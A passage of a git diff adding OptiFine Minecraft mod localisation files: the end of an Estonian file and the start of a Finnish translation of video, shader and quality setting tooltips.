+of.options.TIME.tooltip.2= Vaikimisi - tavaline ööpäevatsükkel +of.options.TIME.tooltip.3= Ainult päev - ainult päev +of.options.TIME.tooltip.4= Ainult öö - ainult öö +of.options.TIME.tooltip.5=Aja seadistus töötab ainult kohalikes maailmades +of.options.TIME.tooltip.6=LOOMINGUrežiimis. + +options.fullscreen.tooltip.1=Täisekraan +options.fullscreen.tooltip.2= SEES - kasuta täisekraanirežiimi +options.fullscreen.tooltip.3= VÄLJAS - kasuta aknarežiimi +options.fullscreen.tooltip.4=Täisekraanirežiim võib olenevalt graafikakaardist +options.fullscreen.tooltip.5=olla aknarežiimist kiirem või aeglasem. + +options.fullscreen.resolution=Täisekraanirežiim +options.fullscreen.resolution.tooltip.1=Täisekraanirežiim +options.fullscreen.resolution.tooltip.2= Vaikimisi - kasuta töölaua ekraaniresolutsiooni, aeglasem +options.fullscreen.resolution.tooltip.3= Laius x kõrgus - kasuta kohandatud resolutsiooni, võib olla kiirem +options.fullscreen.resolution.tooltip.4=Valitud resolutsiooni kasutatakse täisekraanirežiimis (F11). +options.fullscreen.resolution.tooltip.5=Madalamad resolutsioonid peaksid tavaliselt olema kiiremad. + +of.options.SHOW_FPS=Kaadrisageduse kuva +of.options.SHOW_FPS.tooltip.1=Kuvab kompaktselt kaadrisageduse ja renderduse infot. +of.options.SHOW_FPS.tooltip.2= Fps - keskmine/minimaalne kaadrisagedus +of.options.SHOW_FPS.tooltip.3= C: - kamaka renderdajad +of.options.SHOW_FPS.tooltip.4= E: - renderdatud olemid + plokiolemid +of.options.SHOW_FPS.tooltip.5= U: - kamakauuendused +of.options.SHOW_FPS.tooltip.6=Kompaktset kaadrisageduse infot kuvatakse vaid siis, +of.options.SHOW_FPS.tooltip.7=kui silumisvaade pole nähtav. + +of.options.save.45s=45 s +of.options.save.90s=90 s +of.options.save.3min=3 min +of.options.save.6min=6 min +of.options.save.12min=12 min +of.options.save.24min=24 min + +of.options.AUTOSAVE_TICKS=Automaatne salvestus +of.options.AUTOSAVE_TICKS.tooltip.1=Automaatse salvestuse intervall +of.options.AUTOSAVE_TICKS.tooltip.2= 45s - vaikimisi +of.options.AUTOSAVE_TICKS.tooltip.3=Automaatne salvestus võib sõltuvalt nähtavuskaugusest põhjustada +of.options.AUTOSAVE_TICKS.tooltip.4=latentsusokkaid. Maailm salvestub ka mängumenüü avamisel. + +of.options.SCREENSHOT_SIZE=Kuvatõmmise suurus +of.options.SCREENSHOT_SIZE.tooltip.1=Kuvatõmmise suurus +of.options.SCREENSHOT_SIZE.tooltip.2= Vaikimisi - vaikimisi kuvatõmmise suurus +of.options.SCREENSHOT_SIZE.tooltip.3= 2x-4x - kohandatud kuvatõmmise suurus +of.options.SCREENSHOT_SIZE.tooltip.4=Suurema kuvatõmmise loomine võib vajada rohkem mälu. +of.options.SCREENSHOT_SIZE.tooltip.5=Ei ühildu kiire renderduse ega sakisilumisega. +of.options.SCREENSHOT_SIZE.tooltip.6=Vajab graafikakaardil kaadripuhvri tuge. + +of.options.SHOW_GL_ERRORS=OpenGL'i vead +of.options.SHOW_GL_ERRORS.tooltip.1=OpenGL'i vigade kuvamine +of.options.SHOW_GL_ERRORS.tooltip.2=Lubamisel kuvatakse vestluses OpenGL'i vead. +of.options.SHOW_GL_ERRORS.tooltip.3=Keela see vaid siis, kui on teadaolev konflikt +of.options.SHOW_GL_ERRORS.tooltip.4=ning neid vigu ei saa parandada. +of.options.SHOW_GL_ERRORS.tooltip.5=Keelamisel logitakse vead siiski vealogisse ning +of.options.SHOW_GL_ERRORS.tooltip.6=need võivad siiski põhjustada silmnähtava ks languse. + +# Chat Settings + +of.options.CHAT_BACKGROUND=Vestluse taust +of.options.CHAT_BACKGROUND.tooltip.1=Vestluse taust +of.options.CHAT_BACKGROUND.tooltip.2= Vaikimisi - fikseeritud laius +of.options.CHAT_BACKGROUND.tooltip.3= Kompaktne - vastab realaiusele +of.options.CHAT_BACKGROUND.tooltip.4= VÄLJAS - peidetud + +of.options.CHAT_SHADOW=Vestluse vari +of.options.CHAT_SHADOW.tooltip.1=Vestluse teksti vari +of.options.CHAT_SHADOW.tooltip.2= SEES - kasuta tekstil varje +of.options.CHAT_SHADOW.tooltip.3= VÄLJAS - teksti varjud puuduvad diff --git a/src/assets/minecraft/optifine/lang/fi_fi.lang b/src/assets/minecraft/optifine/lang/fi_fi.lang new file mode 100644 index 00000000..d48a3324 --- /dev/null +++ b/src/assets/minecraft/optifine/lang/fi_fi.lang @@ -0,0 +1,774 @@ +# Translated by Saikkimus (tappaja666) + +# Yleiset +of.general.ambiguous=epäselvä +of.general.compact=Kompakti +of.general.custom=Mukautettu +of.general.from=Käyttää +of.general.id=Tunniste +of.general.max=Maksimi +of.general.restart=käynnistä uudelleen +of.general.smart=Älykäs + +# Näppäimet +of.key.zoom=Zoomi + +# Viestit +of.message.aa.shaders1=Reunanpehmennys ei ole yhteensopiva shadereiden kanssa. +of.message.aa.shaders2=Poista shaderit käytöstä, jotta voit käyttää tätä asetusta. + +of.message.af.shaders1=Anisotrooppinen suodatus ei ole yhteensopiva shadereiden kanssa. +of.message.af.shaders2=Poista shaderit käytöstä, jotta voit käyttää tätä asetusta. + +of.message.fr.shaders1=Nopea piirto ei ole yhteensopiva shadereiden kanssa. +of.message.fr.shaders2=Poista shaderit käytöstä, jotta voit käyttää tätä asetusta. + +of.message.an.shaders1=Stereoskooppinen 3D ei ole yhteensopiva shadereiden kanssa. +of.message.an.shaders2=Poista shaderit käytöstä, jotta voit käyttää tätä asetusta. + +of.message.shaders.aa1=Shaderit eivät ole yhteensopivia reunanpehmennyksen kanssa. +of.message.shaders.aa2=Mene laatuasetuksiin ja laita reunanpehmennys pois päältä. Käynnistä sitten peli uudelleen. + +of.message.shaders.af1=Shaderit eivät ole yhteensopivia reunanpehmennyksen kanssa. +of.message.shaders.af2=Mene laatuasetuksiin ja laita reunanpehmennys pois päältä. + +of.message.shaders.fr1=Shaderit eivät ole yhteensopivia nopean piirron kanssa. +of.message.shaders.fr2=Mene suorituskykyasetuksiin ja laita nopea piirto pois päältä. + +of.message.shaders.gf1=Shaderit eivät ole yhteensopivia upeiden grafiikoiden kanssa. +of.message.shaders.gf2=Vaihda grafiikat nopeaksi tai hienoksi. + +of.message.shaders.an1=Shaderit eivät ole yhteensopivia stereoskooppisen 3d:n kanssa. +of.message.shaders.an2=Mene muutasetuksiin ja laita stereoskooppinen 3d pois päältä. + +of.message.shaders.nv1=Tämä shader-paketti vaatii uudemman OptiFine-version: %s +of.message.shaders.nv2=Oletko varma, että haluat jatkaa? + +of.message.newVersion=Uusi §eOptiFine§f-versio on saatavilla: §e§s§f +of.message.java64Bit=Voit asentaa §e64-bittisen -Javan nostaaksesi pelin suorituskykyä. +of.message.openglError=§eOpenGL-virhe§f: %s (%s) + +of.message.shaders.loading=Ladataan shadereita: %s + +of.message.other.reset=Palauta kaikki videoasetukset oletuksille? + +of.message.loadingVisibleChunks=Ladataan näkyviä lohkoja + +# Skinin-mukautus + +of.options.skinCustomisation.ofCape=OptiFine-viitta... + +of.options.capeOF.title=OptiFine-viitta +of.options.capeOF.openEditor=Avaa viitan muokkaus +of.options.capeOF.reloadCape=Uudelleenlataa viitta +of.options.capeOF.copyEditorLink=Kopioi linkki leikepöydälle + +of.message.capeOF.openEditor=OptiFine-viitan muokkauksen pitäisi avautua nettiselaimessa. +of.message.capeOF.openEditorError=Viitan muokkauksen avaamisessa tapahtui virhe. +of.message.capeOF.reloadCape=Viitta ladataan uudelleen 15:ssa sekunnissa. + +of.message.capeOF.error1=Mojang-todennus epäonnistui. +of.message.capeOF.error2=Virhe: %s + +# Videoasetukset + +options.graphics.tooltip.1=Visuaalinenlaatu +options.graphics.tooltip.2= Nopea - matalampi laatu, nopeampi +options.graphics.tooltip.3= Hieno - korkeampi laatu, hitaampi +options.graphics.tooltip.4= Upea - paremmat läpikuultavat objektit, hitain +options.graphics.tooltip.5=Vaihtaa pilvien, lehtien, veden, +options.graphics.tooltip.6=varjojen ja ruohon sivujen ulkonäköä. +options.graphics.tooltip.7=Upea-grafiikat eivät ole yhteensopivia shadereiden kanssa. + +of.options.renderDistance.tiny=Pieni +of.options.renderDistance.short=Lyhyt +of.options.renderDistance.normal=Keskipitkä +of.options.renderDistance.far=Pitkä +of.options.renderDistance.extreme=Äärimmäinen +of.options.renderDistance.insane=Hullu +of.options.renderDistance.ludicrous=Älytön + +options.renderDistance.tooltip.1=Näköetäisyys +options.renderDistance.tooltip.2= 2 Pieni - 32m (nopein) +options.renderDistance.tooltip.3= 8 Keskipitkä - 128m (normaali) +options.renderDistance.tooltip.4= 16 Pitkä - 256m (hidas) +options.renderDistance.tooltip.5= 32 Äärimmäinen - 512m (hitain!) erittäinen paljon resursseja kuluttava +options.renderDistance.tooltip.6= 48 Hullu - 768m, vaati 2gt välimuistia varattuna +options.renderDistance.tooltip.7= 64 Älytön - 1024m, vaati 3gt välimuistia varattuna +options.renderDistance.tooltip.8=Luvut 16 tai isommat toimivat vain paikallisissa maailmoissa. + +options.entityDistanceScaling.tooltip.1=Kohteen etäisyys +options.entityDistanceScaling.tooltip.2= 50%% - nopeampi +options.entityDistanceScaling.tooltip.3= 100%% - oletus +options.entityDistanceScaling.tooltip.4= 500%% - hitaampi +options.entityDistanceScaling.tooltip.5=Muuttaa maksimietäisyyttä, jolta oliot näytetään. + +options.ao.tooltip.1=Pehmeä valaistus +options.ao.tooltip.2= Pois - ei pehmeää valaistusta (nopeampi) +options.ao.tooltip.3= Minimi - yksinkertainen pehmeä valaistus (hitaampi) +options.ao.tooltip.4= Maksimi - monimutkainen pehmeä valaistus (hitain) + +options.framerateLimit.tooltip.1=Maksimikuvataajuus +options.framerateLimit.tooltip.2= VSync - rajoita näytön kuvataajuuteen (60, 30, 20) +options.framerateLimit.tooltip.3= 5-255 - muuttuva +options.framerateLimit.tooltip.4= Rajaton - ei rajoitusta (nopein) +options.framerateLimit.tooltip.5=Kuvataajuusrajoitin vähentää kuvataajuutta vaikka +options.framerateLimit.tooltip.6=rajoitusta ei saavuteta. +of.options.framerateLimit.vsync=VSync + +of.options.AO_LEVEL=Pehmeän valaistuksen taso +of.options.AO_LEVEL.tooltip.1=Pehmeän valaistuksen taso +of.options.AO_LEVEL.tooltip.2= Pois - ei varjoja +of.options.AO_LEVEL.tooltip.3= 50%% - vaaleat varjot +of.options.AO_LEVEL.tooltip.4= 100%% - tummat varjot + +options.viewBobbing.tooltip.1=Aidompi liike. +options.viewBobbing.tooltip.2=Jos käytät mipmapseja, laita tämä pois päältä saadaksesi parhaimman tuloksen. + +options.guiScale.tooltip.1=Valikon koko +options.guiScale.tooltip.2= Auto - maksimi koko +options.guiScale.tooltip.3= Pieni, keskikokoinen, suuri - 1x:stä 3x:n +options.guiScale.tooltip.4= 4x:stä 10x:n - saatavilla 4k-näytöillä +options.guiScale.tooltip.5=Oudot luvut (1x, 3x, 5x ...) eivät ole yhteensopivia Unicoden kanssa. +options.guiScale.tooltip.6=Pienempi valikko saattaa olla nopeampi. + +options.vbo=Käytä VBO:ita +options.vbo.tooltip.1=Vertex-puskuriobjektit +options.vbo.tooltip.2=Käyttää toissijaista piirtotapaa, joka on yleensä +options.vbo.tooltip.3=5-10%% nopeampi kuin oletus piirtotapa. + +options.gamma.tooltip.1=Vaihtaa tummien objekteiden valoisuutta. +options.gamma.tooltip.2= Tunnelmallinen - standardi kirkkaus +options.gamma.tooltip.3= 1-99%% - muuttuva +options.gamma.tooltip.4= Kirkas - maksimi kirkkaus tummille objekteille +options.gamma.tooltip.5=Tämä asetus ei vaihda täysin tummien +options.gamma.tooltip.6=objekteiden kirkkautta. + +options.anaglyph.tooltip.1=Stereoskooppinen 3d +options.anaglyph.tooltip.2=Ottaa käyttään stereoskooppisen 3d efektin käyttäen eri värejä +options.anaglyph.tooltip.3=eri silmille. +options.anaglyph.tooltip.4=Vaati puna-syaani lasit, kunnolliselle katselulle. + +options.attackIndicator.tooltip.1=Määrittää hyökkäysilmaisimen sijainnin. +options.attackIndicator.tooltip.2= Tähtäin - tähtäimen alapuolella +options.attackIndicator.tooltip.3= Pikapalkki - pikapalkin vieressä +options.attackIndicator.tooltip.4= Pois - ei hyökkäysilmaisinta +options.attackIndicator.tooltip.5=Hyökkäysilmaisin näyttää pitämäsi +options.attackIndicator.tooltip.6=tavaran hyökkäysvahvuuden. + +of.options.ALTERNATE_BLOCKS=Toissijaiset kuutiot +of.options.ALTERNATE_BLOCKS.tooltip.1=Toissijaiset kuutiot +of.options.ALTERNATE_BLOCKS.tooltip.2=Käyttää toissijaisia kuutiomalleja joillekkin kuutiolle. +of.options.ALTERNATE_BLOCKS.tooltip.3=Riippuu valitusta resurssipaketista. + +of.options.FOG_FANCY=Sumu +of.options.FOG_FANCY.tooltip.1=Sumun tyyppi +of.options.FOG_FANCY.tooltip.2= Nopea - nopeampi sumu +of.options.FOG_FANCY.tooltip.3= Hieno - hitaampi sumu, näyttää paremmalta +of.options.FOG_FANCY.tooltip.4= Pois - ei sumua, nopein +of.options.FOG_FANCY.tooltip.5=Hieno sumu on saatavilla vain jos +of.options.FOG_FANCY.tooltip.6=näytönohjaimesi tukee sitä. + +of.options.FOG_START=Sumun alkaminen +of.options.FOG_START.tooltip.1=Sumun alkaminen +of.options.FOG_START.tooltip.2= 0.2 - sumu alkaa pelaajan lähellä +of.options.FOG_START.tooltip.3= 0.8 - sumu alkaa kaukana pelaajasta +of.options.FOG_START.tooltip.4=Tämä asetus ei yleensä vaikuta suorituskykyyn. + +of.options.CHUNK_LOADING=Lohkojen lataaminen +of.options.CHUNK_LOADING.tooltip.1=Lohkojen lataaminen +of.options.CHUNK_LOADING.tooltip.2= Oletus - epävakaa kuvataajuus kun lohkoja ladataan +of.options.CHUNK_LOADING.tooltip.3= Tasainen - vakaa kuvataajuus +of.options.CHUNK_LOADING.tooltip.4= Moniydin - vakaa kuvataajuus, 3x nopeampi maailman lataus +of.options.CHUNK_LOADING.tooltip.5=Tasainen ja moniydin asetukset poistavat pätkimiset ja +of.options.CHUNK_LOADING.tooltip.6=jäätymiset, jotka ovat lohkojen lataamisen aihettamia. +of.options.CHUNK_LOADING.tooltip.7=Moniydinasetus voi nopeuttaa maailman latausta kolminkertaisesti ja +of.options.CHUNK_LOADING.tooltip.8=nostaa kuvataajuutta, käyttämällä toista prosessoriydintä. +of.options.chunkLoading.smooth=Tasainen +of.options.chunkLoading.multiCore=Moniydin + +of.options.shaders=Shaderit... +of.options.shadersTitle=Shaderit + +of.options.shaders.packNone=Pois +of.options.shaders.packDefault=(sisäinen) + +of.options.shaders.ANTIALIASING=Reunanpehmennys +of.options.shaders.ANTIALIASING.tooltip.1=Reunanpehmennys +of.options.shaders.ANTIALIASING.tooltip.2= Pois - (oletus) ei reunanpehmennystä (nopeampi) +of.options.shaders.ANTIALIASING.tooltip.3= FXAA 2x, 4x - pehmennetyt reunat (hitaampi) +of.options.shaders.ANTIALIASING.tooltip.4=FXAA on jälkikäsittely efekti joka pehmentää +of.options.shaders.ANTIALIASING.tooltip.5=teräviä reunoja ja -värisiirtymiä. +of.options.shaders.ANTIALIASING.tooltip.6=Se on nopeampi kuin perinteinen reunanpehmennys +of.options.shaders.ANTIALIASING.tooltip.7=ja se on yhteensopiva shadereiden kanssa. + +of.options.shaders.NORMAL_MAP=Normaalikartat +of.options.shaders.NORMAL_MAP.tooltip.1=Normaalikartat +of.options.shaders.NORMAL_MAP.tooltip.2= Päällä - (oletus) normaalikartat päällä +of.options.shaders.NORMAL_MAP.tooltip.3= Pois - normaalikartat pois +of.options.shaders.NORMAL_MAP.tooltip.4=Shader-paketit voivat käyttää normaalikarttoja +of.options.shaders.NORMAL_MAP.tooltip.5=simuloidakseen 3d geometriaa litteillä pinnoilla. +of.options.shaders.NORMAL_MAP.tooltip.6=Normaalikartat tarjoaa pitämäsi +of.options.shaders.NORMAL_MAP.tooltip.7=resurssipaketti. + +of.options.shaders.SPECULAR_MAP=Heijastuskartat +of.options.shaders.SPECULAR_MAP.tooltip.1=Heijastuskartat +of.options.shaders.SPECULAR_MAP.tooltip.2= Päällä - (oletus) heijastuskartat päällä +of.options.shaders.SPECULAR_MAP.tooltip.3= Pois - heijastuskartat pois +of.options.shaders.SPECULAR_MAP.tooltip.4=Shader-paketit voivat käyttää heijastuskarttoja +of.options.shaders.SPECULAR_MAP.tooltip.5=simuloidakseen erikoisia heijastusefektejä. +of.options.shaders.SPECULAR_MAP.tooltip.6=Heijastuskartat tarjoaa pitämäsi +of.options.shaders.SPECULAR_MAP.tooltip.7=resurssipaketti. + +of.options.shaders.RENDER_RES_MUL=Piirronlaatu +of.options.shaders.RENDER_RES_MUL.tooltip.1=Piirronlaatu +of.options.shaders.RENDER_RES_MUL.tooltip.2= 0.5x - matala (nopein) +of.options.shaders.RENDER_RES_MUL.tooltip.3= 1x - normi (oletus) +of.options.shaders.RENDER_RES_MUL.tooltip.4= 2x - korkea (hitain) +of.options.shaders.RENDER_RES_MUL.tooltip.5=Piirronlaatu määrää textuurien koon, +of.options.shaders.RENDER_RES_MUL.tooltip.6=jonka shader-paketti piirtää. +of.options.shaders.RENDER_RES_MUL.tooltip.7=Pienemmät luvut voivat olla hyödyllisiä 4k-näytöillä. +of.options.shaders.RENDER_RES_MUL.tooltip.8=Suuremmat luvut toimivat reunanpehmennys suodattimena. + +of.options.shaders.SHADOW_RES_MUL=Varjojen laatu +of.options.shaders.SHADOW_RES_MUL.tooltip.1=Varjojen laatu +of.options.shaders.SHADOW_RES_MUL.tooltip.2= 0.5x - matala (nopein) +of.options.shaders.SHADOW_RES_MUL.tooltip.3= 1x - normi (oletus) +of.options.shaders.SHADOW_RES_MUL.tooltip.4= 2x - korkea (hitain) +of.options.shaders.SHADOW_RES_MUL.tooltip.5=Varjojen laatu hallitsee varjokarttatextuurien +of.options.shaders.SHADOW_RES_MUL.tooltip.6=kokoa, jota shader-paketti käyttää. +of.options.shaders.SHADOW_RES_MUL.tooltip.7=Pienemmät luvut = epätarkat, karkeat varjot. +of.options.shaders.SHADOW_RES_MUL.tooltip.8=Suuremmat luvut = yksityiskohtaiset, hienommat varjot. + +of.options.shaders.HAND_DEPTH_MUL=Käden syvyys +of.options.shaders.HAND_DEPTH_MUL.tooltip.1=Käden syvyys +of.options.shaders.HAND_DEPTH_MUL.tooltip.2= 0.5x - käsi kameran lähellä +of.options.shaders.HAND_DEPTH_MUL.tooltip.3= 1x - (oletus) +of.options.shaders.HAND_DEPTH_MUL.tooltip.4= 2x - käsi kaukana kamerasta +of.options.shaders.HAND_DEPTH_MUL.tooltip.5=Käden syvyys määrittää kuinka kaukana +of.options.shaders.HAND_DEPTH_MUL.tooltip.6=pitämäsi esineet ovat kamerasta. +of.options.shaders.HAND_DEPTH_MUL.tooltip.7=Shader-paketit, jotka käyttävät syvyyssumennusta, +of.options.shaders.HAND_DEPTH_MUL.tooltip.8=voivat käyttää tätä määrittääkseen pitämäsi esineesi sumennuksen. + +of.options.shaders.CLOUD_SHADOW=Pilven varjot + +of.options.shaders.OLD_HAND_LIGHT=Vanha käden valaistus +of.options.shaders.OLD_HAND_LIGHT.tooltip.1=Vanha käden valaistus +of.options.shaders.OLD_HAND_LIGHT.tooltip.2= Oletus - shader-paketin hallitsema +of.options.shaders.OLD_HAND_LIGHT.tooltip.3= Päällä - käytä vanhaa käsivalaistusta +of.options.shaders.OLD_HAND_LIGHT.tooltip.4= Pois - käytä uutta käsivalaistusta +of.options.shaders.OLD_HAND_LIGHT.tooltip.5=Vanha käden valaistus asetus, mahdollistaa shader-pakettien, jotka tunnistavat vain +of.options.shaders.OLD_HAND_LIGHT.tooltip.6=pääkädessä pitämien tavaroiden valon tuottamisen, +of.options.shaders.OLD_HAND_LIGHT.tooltip.7=toimivan myös toissijaisessa kädessä. + +of.options.shaders.OLD_LIGHTING=Vanha valaistus +of.options.shaders.OLD_LIGHTING.tooltip.1=Vanha valaistus +of.options.shaders.OLD_LIGHTING.tooltip.2= Oletus - shader-paketin hallitsema +of.options.shaders.OLD_LIGHTING.tooltip.3= Päällä - käytä vanhaa valaistusta +of.options.shaders.OLD_LIGHTING.tooltip.4= Pois - älä käytä vanhaa valaistusta +of.options.shaders.OLD_LIGHTING.tooltip.5=Vanha valaistus hallitsee kiinteää valaistusta, +of.options.shaders.OLD_LIGHTING.tooltip.6=joka on mukauttamattoman Minecraft asettama kuution sivuille. +of.options.shaders.OLD_LIGHTING.tooltip.7=Shader-paketit jotka käyttävät varjoja, tuottavat yleensä +of.options.shaders.OLD_LIGHTING.tooltip.8=paljon paremman valaistuksen, joka riippuu auringon asennosta. + +of.options.shaders.DOWNLOAD=Lataa shadereita +of.options.shaders.DOWNLOAD.tooltip.1=Lataa shadereita +of.options.shaders.DOWNLOAD.tooltip.2= +of.options.shaders.DOWNLOAD.tooltip.3=Avaa shader-paketit -sivun selaimeesi. +of.options.shaders.DOWNLOAD.tooltip.4=Laita ladattu shader-paketti "Shaders-kansioon", +of.options.shaders.DOWNLOAD.tooltip.5=ja ne näkyvät listassa asennettuina shadereina. + +of.options.shaders.SHADER_PACK=Shader-paketti + +of.options.shaders.shadersFolder=Shader-kansio +of.options.shaders.shaderOptions=Shader-asetukset... + +of.options.shaderOptionsTitle=Shader-asetukset + +of.options.quality=Laatu... +of.options.qualityTitle=Laatuasetukset + +of.options.details=Yksityiskohdat... +of.options.detailsTitle=Yksityiskohta-asetukset + +of.options.performance=Suorituskyky... +of.options.performanceTitle=Suorituskykyasetukset + +of.options.animations=Animaatiot... +of.options.animationsTitle=Animaatioasetukset + +of.options.other=Muut... +of.options.otherTitle=Muut asetukset + +of.options.other.reset=Nollaa videoasetukset... + +of.shaders.profile=Profiili + +# Laatu + +of.options.mipmap.bilinear=Bilineaarinen +of.options.mipmap.linear=Lineaarinen +of.options.mipmap.nearest=Lähin +of.options.mipmap.trilinear=Trilineaarinen + +options.mipmapLevels.tooltip.1=Visuaalinenefekti, joka tekee kaukaiset asiat näyttämään paremmalta +options.mipmapLevels.tooltip.2=pehmentämällä tekstuurien yksityiskohtia. +options.mipmapLevels.tooltip.3= Pois - ei pehmennystä +options.mipmapLevels.tooltip.4= 1 - minimi pehmennys +options.mipmapLevels.tooltip.5= Maksimi - maksimi pehmennys +options.mipmapLevels.tooltip.6=Tämä asetus ei yleensä vaikuta suorituskykyyn. + +of.options.MIPMAP_TYPE=Mipmap-tyyppi +of.options.MIPMAP_TYPE.tooltip.1=Visuaalinenefekti, joka tekee kaukaiset asiat näyttämään paremmalta +of.options.MIPMAP_TYPE.tooltip.2=pehmentämällä tekstuurien yksityiskohtia. +of.options.MIPMAP_TYPE.tooltip.3= Nopea - karkea pehmennys (nopein) +of.options.MIPMAP_TYPE.tooltip.4= Lineaarinen - normaali pehmennys +of.options.MIPMAP_TYPE.tooltip.5= Bilineaarinen - hyvä pehmennys +of.options.MIPMAP_TYPE.tooltip.6= Trilineaarinen - paras pehmennys (hitain) + + +of.options.AA_LEVEL=Reunanpehmennys +of.options.AA_LEVEL.tooltip.1=Reunanpehmennys +of.options.AA_LEVEL.tooltip.2= Pois - (oletus) ei reunanpehmennystä (nopein) +of.options.AA_LEVEL.tooltip.3= 2-16 - pehmennetyt reunat ja kulmat (hitaampi) +of.options.AA_LEVEL.tooltip.4=Reunanpehmennys pehmentää rosoisia reunoja +of.options.AA_LEVEL.tooltip.5=ja teräviä värisiirtymiä. +of.options.AA_LEVEL.tooltip.6=Kun päällä, voi vähentää kuvataajuutta huomattavasti. +of.options.AA_LEVEL.tooltip.7=Jokainen näytönohjain ei tue reunanpehmennystä. +of.options.AA_LEVEL.tooltip.8=Vaikuttaa UUDELLEENKÄYNNISTYKSEN jälkeen! + +of.options.AF_LEVEL=Anisotrooppinen suodatus +of.options.AF_LEVEL.tooltip.1=Anisotrooppinen suodatus +of.options.AF_LEVEL.tooltip.2= Pois - (oletus) normaali tekstuurilaatu (nopampi) +of.options.AF_LEVEL.tooltip.3= 2-16 - paremmat yksityiskohdat mipmapatuissa tekstuureissa (hitaampi) +of.options.AF_LEVEL.tooltip.4=Anisotrooppinen suodatus palauttaa yksityiskohtia +of.options.AF_LEVEL.tooltip.5=mipmaptuissia tekstuureissa. +of.options.AF_LEVEL.tooltip.6=Kun päällä, voi vähentää kuvataajuutta huomattavasti. + +of.options.CLEAR_WATER=Läpinäkyvä vesi +of.options.CLEAR_WATER.tooltip.1=Läpinäkyvä vesi +of.options.CLEAR_WATER.tooltip.2= Päällä - läpinäkyvä vesi +of.options.CLEAR_WATER.tooltip.3= Pois - oletus vesi + +of.options.RANDOM_ENTITIES=Satunnaiset oliot +of.options.RANDOM_ENTITIES.tooltip.1=Satunnaiset oliot +of.options.RANDOM_ENTITIES.tooltip.2= Pois - ei satunnaisia olioita, nopein +of.options.RANDOM_ENTITIES.tooltip.3= Päällä - satunnaiset oliot, hitaampi +of.options.RANDOM_ENTITIES.tooltip.4=Satunnaiset oliot asetus, käyttää satunnaisia tekstuureja oliolle. +of.options.RANDOM_ENTITIES.tooltip.5=Käyttämäsi resurssipaketti määrittää satunnaiset tekstuurit. + +of.options.BETTER_GRASS=Parempi ruoho +of.options.BETTER_GRASS.tooltip.1=Parempi ruoho +of.options.BETTER_GRASS.tooltip.2= Pois - oletus ruohonsivutekstuuri, nopein +of.options.BETTER_GRASS.tooltip.3= Nopea - kokosivu ruohotekstuuri, hitaampi +of.options.BETTER_GRASS.tooltip.4= Hieno - dynaaminen ruohonsivutekstuuri, hitain + +of.options.BETTER_SNOW=Parempi lumi +of.options.BETTER_SNOW.tooltip.1=Parempi lumi +of.options.BETTER_SNOW.tooltip.2= Pois - oletus lumi, nopein +of.options.BETTER_SNOW.tooltip.3= Päällä - parempi lumi, hitain +of.options.BETTER_SNOW.tooltip.4=Näyttää lunta läpinäkyvienkuutioden (aidat, korkea ruoho) alla, +of.options.BETTER_SNOW.tooltip.5=kun kuution vieressä on lunta. + +of.options.CUSTOM_FONTS=Mukautetut fontit +of.options.CUSTOM_FONTS.tooltip.1=Muokautetut fontit +of.options.CUSTOM_FONTS.tooltip.2= Päällä - käytä mukautettuja fontteja (oletus), hitaampi +of.options.CUSTOM_FONTS.tooltip.3= Pois - käytä oletusfonttia, nopeampi +of.options.CUSTOM_FONTS.tooltip.4=Mukautetun fontin tarjoaa pitämäsi +of.options.CUSTOM_FONTS.tooltip.5=resurssipaketti. + +of.options.CUSTOM_COLORS=Mukautetut värit +of.options.CUSTOM_COLORS.tooltip.1=Mukautetut värit +of.options.CUSTOM_COLORS.tooltip.2= Päällä - käytä mukautettuja värejä (oletus), hitaampi +of.options.CUSTOM_COLORS.tooltip.3= Pois - käytä oletusvärejä, nopeampi +of.options.CUSTOM_COLORS.tooltip.4=Mukautetut värit tarjoaa pitämäsi +of.options.CUSTOM_COLORS.tooltip.5=resurssipaketti. + +of.options.SWAMP_COLORS=Suon värit +of.options.SWAMP_COLORS.tooltip.1=Suon värit +of.options.SWAMP_COLORS.tooltip.2= Päällä - käytä suon värejä (oletus), hitaampi +of.options.SWAMP_COLORS.tooltip.3= Pois - älä käytä suon värejä, nopeampi +of.options.SWAMP_COLORS.tooltip.4=Suon värit vaikuttaa ruohoon, lehtiin ja veteen. + +of.options.SMOOTH_BIOMES=Pehmeät biomit +of.options.SMOOTH_BIOMES.tooltip.1=Pehmeät biomit +of.options.SMOOTH_BIOMES.tooltip.2= Päällä - pehmennetyt biomeiden rajat (oletus), hitaampi +of.options.SMOOTH_BIOMES.tooltip.3= Pois - ei biomeiden rajojen pehmennystä, nopeampi +of.options.SMOOTH_BIOMES.tooltip.4=Biomien rajojen pehmentäminen tehdään ottamalla +of.options.SMOOTH_BIOMES.tooltip.5=keskimääräinen väri naapurikuutioista. +of.options.SMOOTH_BIOMES.tooltip.6=Vaikuttaa ruohoon, lehtiin, köynnöksiin ja veteen. + +of.options.CONNECTED_TEXTURES=Yhdistetyt tekstuurit +of.options.CONNECTED_TEXTURES.tooltip.1=Yhdistetyt tekstuurit +of.options.CONNECTED_TEXTURES.tooltip.2= Pois - ei yhdistettyjä tekstuureita (oletus) +of.options.CONNECTED_TEXTURES.tooltip.3= Nopea - nopean yhdistetyt tekstuurit +of.options.CONNECTED_TEXTURES.tooltip.4= Hieno - hienot yhdistetyt tekstuurit +of.options.CONNECTED_TEXTURES.tooltip.5=Yhdistetyt tekstuurit asetus yhdistää lasi, hiekkakiven ja kirjahyllyjen +of.options.CONNECTED_TEXTURES.tooltip.6=tekstuurit yhteen kun ne laitetaan toistensa viereen. +of.options.CONNECTED_TEXTURES.tooltip.7=Yhdistetyt tekstuurit tarjoaa pitämäsi +of.options.CONNECTED_TEXTURES.tooltip.8=resurssipaketti. + +of.options.NATURAL_TEXTURES=Luontaiset tekstuurit +of.options.NATURAL_TEXTURES.tooltip.1=Luontaiset tekstuurit +of.options.NATURAL_TEXTURES.tooltip.2= Pois - ei luontaisia tekstuureja (oletus) +of.options.NATURAL_TEXTURES.tooltip.3= Päällä - käytä luontaisia tekstuureja +of.options.NATURAL_TEXTURES.tooltip.4=Luontaiset tekstuurit asetus poistaa ruudukkomaisen kuvoinnin, +of.options.NATURAL_TEXTURES.tooltip.5=kääntelemällä samantyyppisiä kuutioita. +of.options.NATURAL_TEXTURES.tooltip.6=Se käyttää käännettyjä ja peilitettyjä versioita +of.options.NATURAL_TEXTURES.tooltip.7=pääkuution tekstuurista. Luontaisten tekstuurien asetukset +of.options.NATURAL_TEXTURES.tooltip.8=määrittää pitämäsi resurssipaketti + +of.options.EMISSIVE_TEXTURES=Emissiiviset tekstuurit +of.options.EMISSIVE_TEXTURES.tooltip.1=Emissiiviset tekstuurit 